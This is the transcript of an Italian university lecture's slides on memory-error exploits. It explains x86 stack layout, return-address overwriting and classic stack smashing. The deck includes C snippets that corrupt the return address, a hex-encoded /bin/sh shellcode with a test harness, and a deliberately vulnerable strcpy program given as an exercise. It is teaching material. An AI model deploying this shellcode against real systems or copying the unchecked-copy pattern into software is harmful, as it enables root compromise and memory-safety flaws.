Slide

Transcript

Slide
Elementi di sicurezza e Privatezza
Lezione 8: memory error exploit
Situazione
•  I meccanismi di controllo degli accessi
consentono un controllo particolarmente efficace
su “chi può fare cosa” in un sistema
•  Solo l’utente root non è sottoposto a questi
controlli
•  Un utente può però solo eseguire determinate
attività (programmi Setuid) come root
•  Se si riesce a forzare questi programmi a “fare
altro”, questo “altro” sarà eseguito senza alcuna
forma di controllo
A.A. 2011/2012
2
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Overwriting of arbitrary memory in the
writeable process space with arbitrary data
•  The holy grail of exploitation is to take control of
the instruction pointer of a process
•  In a two-stage process, first a safed instruction
pointer is overwritten and then the program
executes a legitimate instruction that transfers
control to the attacker-supplied address.
•  We will examine different ways to accomplish
this
A.A. 2011/2012
3
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Obiettivo
•  Forzare un programma, che possibilmente opera
con i diritti di root (administrator), a svolgere
delle operazioni che NON è stato programmato
a svolgere
•  Modificare il control flow di un programma,
forzando il programma ad eseguire altro codice
che sarà eseguito con i diritti di root
A.A. 2011/2012
4
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer overflow
Organizzazione della memoria
A.A. 2011/2012
6
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Stack
•  Uno stack è una zona di memoria Last-In First-Out
(LIFO), molte CPU hanno istruzioni interne per
accedere a questa zona di memoria
•  L istruzione PUSH aggiunge dati sullo stack e la
POP li rimuove
•  Il dato rimosso è sempre l ultimo caricato
•  Lo stack attivo è quello indirizzato dal registro SS
•  Il registro ESP contiene sempre l indirizzo
dell ultimo dato caricato sullo stack (top of the
stack)
A.A. 2011/2012
7
Corso: Sicurezza & Privatezza
© Danilo Bruschi
PUSH
•  The PUSH instruction inserts a double word on
the stack by subtracting 4 from ESP and then
stores the double word at [ESP]
! pushl src
!
!
!
!
à
!
!subl $4,%esp!
!movl src,(%esp)!
•  The 80x86 also provides a PUSHA instruction
that pushes the values of EAX, EBX, ECX, EDX,
ESI, EDI and EBP registers (not in this order)
A.A. 2011/2012
8
Corso: Sicurezza & Privatezza
© Danilo Bruschi
POP
•  The POP instruction reads the double word at
[ESP] and then adds 4 to ESP
!popl dest
!
!
!
!
à
movl (%esp),dest!
! addl $4,%esp!
•  The popa instruction, recovers the orginal
values of the registers saved by the pusha!
A.A. 2011/2012
9
Corso: Sicurezza & Privatezza
© Danilo Bruschi
CALL/RET
•  Lo stack è usato per la gestione delle subroutine
•  L architettura 80x86 fornisce a questo proposito
due istruzioni ad hoc
•  CALL esegue un salto incondizionato ad un
sottoprogramma ed effettua sullo stack una push
dell indirizzo di ritorno
•  L istruzione RET esegue la pop di un indirizzo di
ritorno ed effettua un salto incondizionato a
quest ultimo
A.A. 2011/2012
10
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Implementation of Call
• 
call
subprogram1 becomes:!
pushl %eip!
jmp
subprogram1 !
!
!
!
!ESP
à!
Saved
A.A. 2011/2012
EIP!
11
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Implementation of ret
•  ret becomes:!
•  pop
%eip!
ESP à!
A.A. 2011/2012
Saved EIP!
12
Corso: Sicurezza & Privatezza
© Danilo Bruschi
EBP
•  Poiché può essere molto facile commettere errori usando il
registro ESP per riferirsi ai diversi dati presenti sullo stack,
l architettura 80x86 fornisce per questo scopo un ulteriore
registro: EBP
A.A. 2011/2012
13
Corso: Sicurezza & Privatezza © Danilo
Bruschi
Parametri e Variabili locali
•  Lo stack può anche essere convenientemente
usato per memorizzare le variabili locali di un
programma. Le variabili non statiche di un
programma C sono memorizzate sullo stack
•  Lo stack viene anche usato per memorizzare i
parametri di una procedura
A.A. 2011/2012
14
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Stack
A.A. 2011/2012
15
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Function Call
A.A. 2011/2012
16
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Function Call
A.A. 2011/2012
17
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Esempio: printf
•  L esecuzione dell istruzione
• 
printf("x = %d\n",x);
•  Genera il seguente layout di stack
A.A. 2011/2012
18
Corso: Sicurezza & Privatezza © Danilo
Bruschi
Considerazione
•  Una chiamata di procedura altera il flusso di
controllo di un programma, allo stesso modo di
un’istruzione di Jump, contrariamente ad una
Jump però il controllo viene restituito, terminata
l’esecuzione della procedura, all’istruzione il cui
indirizzo è memorizzato nello stack
A.A. 2011/2012
19
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Modificare il flusso di controllo
void function() {!char buffer1[4]; !
! ! !int *ret; !
! ! !ret = buffer1 + 8; !
! ! !(*ret) += 8;
!} !
!
void main() { !int x = 0; !
! ! !function(); !
! ! !x = 1; !
! ! !printf("%d\n",x);
A.A. 2011/2012
20
} !
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Modificare il flusso di esecuzione
A.A. 2011/2012
21
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Modifying il flusso di controllo
A.A. 2011/2012
22
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Modificare il flusso di controllo
A.A. 2011/2012
23
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Modificare il flusso di controllo
A.A. 2011/2012
24
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Soluzione
• 
On many C implementations it is possible to corrupt the
execution stack by writing past the end of an array
declared auto in a routine. Code that does this is said to
smash the stack, and can cause return from the routine
to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to
mankind. Variants include trash the stack, scribble the
stack, mangle the stack …
•  Written by : Aleph One
First published on : Phrack
A.A. 2011/2012
25
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
void function(char *str) { !
char buffer[8]; !
strcpy(buffer,str); } !
!
void main() !
{ !
char large_string[256]; !
int i; !
for( i = 0; i < 255; i++) !
large_string[i] = 'A'; !
function(large_string); !
} !
A.A. 2011/2012
26
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
27
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
28
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
29
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
30
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
31
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
32
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
33
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Buffer Overflows
A.A. 2011/2012
34
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Conclusione
•  Attraverso un buffer overflow siamo in grado di
modificare l indirizzo di rientro di una funzione.
E quindi il flusso di controllo di un programma.
A.A. 2011/2012
35
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Quindi …
•  Ora che sappiamo di poter modificare il flusso di
controllo di un programma, qual è il programma
più conveniente da eseguire?
A.A. 2011/2012
36
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Quindi ??
•  Ma questo programma non è contenuto nel
programma che noi vogliamo exploitare? Come
possiamo inserire queste istruzioni nel
programma da exploitare?
A.A. 2011/2012
37
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Shell code
•  La risposta è la seguente:
•  caricare il codice che vogliamo eseguire in un
buffer disponibile,
•  attraverso l overflow di questo buffer
sovrascrivere il return address di modo che punti
all interno del buffer stesso dove si trova il
codice da eseguire
A.A. 2011/2012
38
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Cioè:
*str
Return address
modificato
S
S
S
S
S
S
S
S
S
A.A. 2011/2012
39
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Problemi da risolvere
•  Per realizzare questa tattica dobbiamo risolvere
due problemi principali:
•  codificare il codice eseguibile da inserire sullo stack
(shell code)
•  Riuscire a determinare il suo indirizzo di partenza ed
inserirlo al posto del return address
A.A. 2011/2012
40
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Spawning a Shell
#include <stdio.h>
#include <stdlib.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
exit(0); }
A.A. 2011/2012
41
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Shell code ASM
A.A. 2011/2012
42
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Esercizio: Prova Shellcode
char shellcode[] = "\xeb\x2a\x5e
\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00
\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d
\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00
\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode; }
A.A. 2011/2012
43
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Prova Shellcode
A.A. 2011/2012
44
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Testing the Shellcode
A.A. 2011/2012
45
Corso: Sicurezza & Privatezza © Danilo
Bruschi
Schema programma vulnerabile
•  È possibile effettuare un BOF su questo
programma?
void main(int argc, char *argv[])
{ char buffer[64];
if (argc > 1) strcpy(buffer,argv[1]);
}
A.A. 2011/2012
46
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Smashing the Stack
A.A. 2011/2012
47
Corso: Sicurezza & Privatezza
© Danilo Bruschi
Dangerous C system calls
source: Building secure software, J. Viega & G. McGraw, 2002
A.A.482011/2012
Corso: Sicurezza & Privatezza
© Danilo Bruschi